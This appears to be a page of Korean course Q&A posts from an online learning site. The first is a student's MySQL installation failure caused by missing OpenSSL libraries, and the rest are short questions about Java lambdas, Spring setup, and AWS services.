같은 환경에서 mysql 설치시에# mysql . sudo yum install mysql-community-server -y 이부분 설치 명령어를 입력하면$ sudo yum install mysql-community-server -y Last metadata expiration check: 0:59:00 ago on Sun Apr 2 13:16:56 2023. Error: Problem: conflicting requests - nothing provides libcrypto.so.10()(64bit) needed by mysql-community-server-8.0.11-1.el7.x86_64 - nothing provides libssl.so.10()(64bit) needed by mysql-community-server-8.0.11-1.el7.x86_64 - nothing provides libcrypto.so.10(libcrypto.so.10)(64bit) needed by mysql-community-server-8.0.11-1.el7.x86_64 - nothing provides libssl.so.10(libssl.so.10)(64bit) needed by mysql-community-server-8.0.11-1.el7.x86_64 - nothing provides libcrypto.so.10()(64bit) needed by mysql-community-server-8.0.12-1.el7.x86_64 - nothing provides libssl.so.10()(64bit) needed by mysql-community-server-8.0.12-1.el7.x86_64 - nothing provides libcrypto.so.10(libcrypto.so.10)(64bit) needed by mysql-community-server-8.0.12-1.el7.x86_64 - nothing provides libssl.so.10(libssl.so.10)(64bit) needed by mysql-community-server-8.0.12-1.el7.x86_64 - nothing provides libcrypto.so.10()(64bit) needed by mysql-community-server-8.0.13-1.el7.x86_64 - nothing provides libssl.so.10()(64bit) needed by mysql-community-server-8.0.13-1.el7.x86_64 - nothing provides libcrypto.so.10(libcrypto.so.10)(64bit) needed by mysql-community-server-8.0.13-1.el7.x86_64 - nothing provides libssl.so.10(libssl.so.10)(64bit) needed by mysql-community-server-8.0.13-1.el7.x86_64 . . . . 이런식으로 충돌하는요청이 생겼다고 뜨는데 알아보니 라이브러리가 안깔려있어서 그렇다는 말도있고 어떤부분이 문제인지를 잘 모르겠어요 ㅠ...다시 처음부터 해봐도 해결이 안되고 다른 블로그 찾아봐도 아직 해결이 안되요gcc 라이브러리를 설치해야하나요? ㅠ
-
미해결자바와 스프링 부트로 생애 최초 서버 만들기, 누구나 쉽게 개발부터 배포까지! [서버 개발 올인원 패키지]
15강 질문 드립니다!
15강 람다식 질문 드립니다!선생님 안녕하세요!15강에서 작성해주신 람다식이 있는데람다식을 사용하지 않은 코드도 댓글로 알려주실 수 있으실까요~!자바 공부를 시작한 지 얼마 되지 않아서 혼자 해보려 해도 잘 안되네요..! 부탁 드리겠습니다!! 감사합니다!
-
미해결AWS Certified Solutions Architect - Associate 자격증 준비하기
주신 강의 자료에 DMS 부분이 빠진 것 같습니다.
주신 강의 자료에 DMS 부분이 빠진 것 같습니다.
-
미해결자바와 스프링 부트로 생애 최초 서버 만들기, 누구나 쉽게 개발부터 배포까지! [서버 개발 올인원 패키지]
안녕하세요 7강을 듣다가 질문 드립니다!
선생님 안녕하세요! 7강을 듣다가 아래 분과 같이 주소 페이지 오류가 떠서 질문글 남깁니다!댓글로 <스프링 프로젝트를 시작하는 첫 번째 방법>으로 하라고 하셨는데 강의에는 두 번째 방법만 올라와 있고 첫 번째 방법은 보이지 않네요..! 어디서 확인할 수 있을까요?!
-
미해결AWS Certified Solutions Architect - Associate 자격증 준비하기
아마존 클라우드프론트 설명에서 엣지 로케이션을 콘텐츠를 캐시 하는데 사용 이라고 적혀 있는데 여기서 나오는 캐시의 스펠링과 뜻을 알 수 있을가요?
아마존 클라우드프론트 설명에서 엣지 로케이션을 콘텐츠를 캐시 하는데 사용 이라고 적혀 있는데 여기서 나오는 캐시의 스펠링과 뜻을 알 수 있을가요?
-
미해결지금 당장 데브옵스 AWS
Aurora 대신 DynamoDB를 사용해도 되는지요?
예제에서 Aurora와 DynamoDB를 사용했을 때의 장/단점에 대해 알려주시면 감사하겠습니다.